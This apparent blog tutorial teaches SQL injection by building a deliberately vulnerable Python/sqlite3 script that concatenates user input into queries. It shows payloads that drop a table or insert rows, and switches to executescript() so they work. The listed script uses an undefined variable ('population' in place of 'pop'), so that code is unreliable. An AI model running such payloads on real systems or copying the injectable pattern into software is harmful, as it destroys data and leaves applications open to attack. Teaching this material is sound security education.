Today we’re going to learn how to hack :)
SQL Injection is a hacking technique that can be used (by hackers) to run SQL command maliciously. SQL Injection can be used when there is an application that executes one (or more) SQL commands, and uses user input to construct the query. If the programmer is not careful, a user with ill intent could insert their own SQL code to run. This could give a user the ability to:
Let’s see how it’s done.
Let’s use the city population database similar to the one that we talked about before from this web tutorial.
We are just going to use a similar schema, without loading data.
Using this, let’s create a table with cities and their population.
$ sqlite3 citydb
SQLite version 3.14.0 2016-07-26 15:17:14
Enter ".help" for usage hints.
sqlite> CREATE TABLE city(
...> name TEXT,
...> population INT);
sqlite>
Alright, schema created!
Next, let’s write a python program that connects to and uses this database.
This sill be a simple program named addcity.py that let’s a user input a city name and population number, and this will be inserted into the database.
import sys
import sqlite3
print('Enter a city:')
city = sys.stdin.readline().strip()
print('Enter the population:')
pop = sys.stdin.readline().strip()
conn = sqlite3.connect('citydb')
query = "INSERT INTO city VALUES ('" + city + "', " + population + ")"
res = conn.execute(query)
conn.commit()
conn.close()
Some example runs look like: run looks like:
$ python addcity.py
Enter a city:
New York
Enter the population:
1000000
$ python addcity.py
Enter a city:
Tucson
Enter the population:
500000
$ python addcity.py
Enter a city:
San Francisco
Enter the population:
3000000
$
Now there are a few rows in the database:
sqlite> SELECT * FROM city;
New York|1000000
Tucson|500000
San Francisco|3000000
The Idea with SQL injection is simple: If a program directly uses some kind of user input in an executed SQL query, a user can type whatever they want as input. If an input string can be constructed such that once all of the SQL query strings are concatenated, something unintentional happens with the DB, we have successfully “injected” our own SQL code.
Let’s take the example from addcity.py.
The query is constructed with this python line:
query = "INSERT INTO city VALUES ('" + city + "', " + pop + ")"
If city and pop are values we expect, like New York and 1000000, query will end up being:
INSERT INTO city VALUES ('New York', 1000000)
Which is a complete SQL statement (minus the ;).
Let’s try making pop something more … dangerous?
What if it was 100000) ; DROP TABLE city ; --?
query would become:
INSERT INTO city VALUES ('New York', 1000000) ; DROP TABLE city ; --)
query is now a totally valid INSERT statement, followed by a valid DROP statement, followed by a comment (--).
If this were executed, a new row would be inserted, but the city table would also be dropped!
Another example: what if pop was 100000) ; INSERT INTO city VALUES ('Tatooine', 500000) ; --
query would be:
INSERT INTO city VALUES ('New York', 1000000) ; INSERT INTO city VALUES ('Tatooine', 500000) ; --)'
The malicious user could try to insert a fictional city into the table.
NOT COOL (but actually, pretty cool).
Let’s try this injection out with addcity.py
$ python3 addcity.py
Enter a city:
New York
Enter the population:
100000) ; INSERT INTO city VALUES ('Tatooine', 500000) ; --
Traceback (most recent call last):
File "addcity.py", line 11, in <module>
res = conn.execute(query)
sqlite3.Warning: You can only execute one statement at a time.
Yikes, that didn’t work.
Python gave a warning indicating that “You can only execute one statement at a time.”
In other words, the execute() function can only run one SQL statement at a time.
If it sees multiple statements separated by a ;, it won’t try to run it!
(This is partially for security, and partially for simplicity).
However, there is a function on the sqlite3 library called executescript().
This function is very similar to execute(), except is does allow for multiple SQL statements in one input string.
Let’s replace execute with executescript in addcity.py and try again.
$ python3 addcity.py
Enter a city:
New York
Enter the population:
100000) ; INSERT INTO city VALUES ('Tatooine', 500000) ; --
$
It works! If you look in the database, you’ll see Tatooine. If we try the DROP one, then the DB will be removed!
$ python3 addcity.py
Enter a city:
Seattle
Enter the population:
100000) ; DROP TABLE city ; --
$
Check out the database with sqlite3.
Do you still see the city table?
